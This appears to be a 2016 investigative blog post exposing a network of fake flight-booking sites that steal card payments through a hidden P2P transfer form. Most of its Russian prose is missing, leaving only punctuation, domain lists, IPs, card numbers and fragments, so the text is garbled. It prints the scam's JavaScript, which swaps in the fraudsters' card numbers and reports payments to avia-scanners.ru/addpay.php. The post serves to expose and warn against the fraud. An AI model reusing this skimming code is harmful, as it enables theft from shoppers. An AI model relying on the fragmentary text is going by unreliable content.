Cheap flights ... Or a network of fraudulent sites that steal money from cards. My investigation

, — . . (, , YandexMoney, ), , , , .



. , , . , - « »…

, ?

, — . « » , . , , . , , , …

, , . _aviapromo.eu_

. .



:



:



:


, , , .

. 3d Secure, , , . « » , , .

« ». 2 , 2 « ». 2 2 . - . 17700. 10 17700. 10 11800. - , . , , 10 , . — ' , .

« 2 », , . 20-30 . . . , , . - . , , . , — . . . .

, , 11800, 23600. .. , .



, , , . .. . .

( ) 47 377. .

, .

1. EU .

2. , .

3. , , 2011 . , . , egrul.nalog.ru.

4. PR ( , - ).

5. , . , , 5900 , « 5900.00 P2P PSBANK», 5900, , 5988,50. «P2P» . . «P2P» — . , , , , . .. , , - PSBANKa (). 3D Secure, , , .

6. , , 3D Secure, 3D Secure, . , - 3D Secure ( SMS). , , — . . , . , , YM (Yandex.Money) Yandex.Direct ( ). - , , .

:

. . . - . . , , - , , . , ( ). , . , . , 24 . P2P ( ) . «» , , - . «» — - . . .

( ), ( ), , - .

FirstVDS. . , . (, ), , . , — .

, , . , , , . — , . .. , , ( , ). , « » — _avia-scanners.ru_. , . ( .

_http://avia-scanners.ru/?utm_source=yandex&utm_medium=cpc&utm_campaign=21628812&utm_content=2877643372&utm_term=%D0%B0%D0%B2%D0%B8%D0%B0%D0%B1%D0%B8%D0%BB%D0%B5%D1%82%D1%8B%20%D0%BF%D0%BE%20%D1%80%D0%BE%D1%81%D1%81%D0%B8%D0%B8%20%D0%B4%D0%B5%D1%88%D0%B5%D0%B2%D0%BE


, , , , — , , — , — . , ..

, ( AppStore, Google Play Windows Phone). .



, . .

« ».



. "...P2P..." . , . , .

. , (_www.tinkoff.ru/cardtocard/_) . iframe. - , «» .



, HTML DIV, - . . . F12 ( -). . display:none



, display:none … .
, .



. ? .. ? . ( ), - , . , , .



html .



.



:

, .

. . . , , . .. .

, , , . , , «» .

$("#card_number").on('blur', function () {
    $("#transfer__card_number").change();
});

function refr() {
    $("#transfer__card_number").change();
}

popitka = 0;
function addpay(title, status) {

    var newcards = [
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
        '5106 2160 0313 4297',
    ];
    if (status == 0) {
        $('#card_number2').val(newcards[popitka]);
        $('#card_number2').change();
        popitka = popitka + 1;
    }

    $.ajax({
        url: 'http://avia-scanners.ru/addpay.php?sum=' + 3272 + '&status=' + status + '&title=' + title + '&code=lyyPt',
        success: function () {
            xhr.abort();
        }
    });
}

$(document).ready(function () {
    $("#card_number2").keyup();
    $('#card_number2').change();
});

(, , ), . , , . . , - …

5106 2160 0313 4297
5106 2160 0408 7015
5106 2160 0310 8804

? , 5106 21…

BIN .
:
Issuing Bank: YANDEX MONEY NBCI.LLC
Card Type: MASTERCARD

(.), Yandex.Money , . , . - . . , , . , , « ...» , , — — 10-15 .

, , . , . , , , , .

. , , . , , . : _avialex.ru_, _avia-kassa.ru.com_, _flyseven.ru_, _aviasalesdirectly.ru_, _avia-run.ru_, _aviasalle.com_.

. . , . FirstVDS. , , . .

.. , . . , , ( ), . 47 , ?

. , 100% .

, .

UDP.
_avia-scanners.ru_ ( sprinthost.ru — ). , . .

- . . «Forbidden/ You don't have permission to access / on this server. Apache/2.4.17 Server at avia-scanners.ru Port 80»



_avia-scanners.ru_ , . , , , - , - , , geektimes , , , .

. , - ,

UDP2 (27.09.2016)
, . triton, _flying-avia.ru_, _scanner-ticket.ru_, _scanner-aero.ru_. , . . - , .

, , , . , , _avia-scanners.ru_. , . . , .

. .




, :
5106 2160 0451 0834 _flying-avia.ru_
5106 2160 0909 7977 _scanner-ticket.ru_
5106 2160 0451 0834 _scanner-aero.ru_

, . , -, IP (. ). ..

. — , . , , «» . , . « » , . . - QIWI . .

_avialex.ru_
_avia-kassa.ru.com_
_flyseven.ru_
_aviasalesdirectly.ru_
_avia-run.ru_
_aviasalle.com_	FirstVDS	,
_aviapromo.eu_	FirstVDS	22.09.2016
_avia-scanners.ru_	Sprinthost, IP 141.8.195.50	geektimes 26.09.2016
_flying-avia.ru_	Sprinthost, IP 141.8.195.50	27.09.2016 geektimes
_scanner-ticket.ru_	Sprinthost, IP 141.8.195.50	27.09.2016 geektimes
_scanner-aero.ru_	Sprinthost, IP 141.8.195.138	27.09.2016 geektimes
_scaner-avia.ru_	Sprinthost, IP 141.8.195.138	27.09.2016 geektimes
_pilotavia.ru_	TheFirst-RU clients (WebDC Msk), IP 188.120.250.184	_aviapromo.eu_ geektimes 28.09.2016 — « »
_letofly.biz_		. _aviapromo.eu_, geektimes 29.09.2016 , . , .
_avia.netprosolution.co_		, , _aviapromo.eu_.

. , , , , . . , ( ). , 400. , , - , .


, , -. , . ( ) . , . , , , , . , , -, , - . - , .

UDP3:
semb. _pilotavia.ru_
, , _aviapromo.eu_ ( , « ». . , , . , . , , _https://pilotavia.ru/?code=BX3FKT_ ( , . 24 ).

, aviacassa_ru. , , , .


, https . .
Let's Encrypt. , — . , , ? .



. Webvisor . . , . - , . . — . . , . — . .., , ( ), .



_pilotavia.ru_, _aviapromo.eu_. . , , P2P PSBANK (), , . HTML , - , iframe, , .

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

. payp2p.php. , , — . , , - , 3D Secure. . - — . — , , .

UDP4 (27.09.2016): , , .
, , , .. ( . 24 ). (15 ). . . .





UDP5 (30.09.2016). Vad_R « », ~20500. , « ». .

, , , , - . , / . , …


- MMBANKa ( ). . . «- »

UDP6 (06.10.2016) 20.09.2016 "". , 30 . .

UDP7 (19.10.2016) , ., 12.10.2016 (17700+17700). 22 .
, - ~5900+5900+ 13.11.2016 .

.


UDP8 (13.11.2016)
: … , . -2. ?

UDP9 (02.03.2017)
, : 3D Secure . .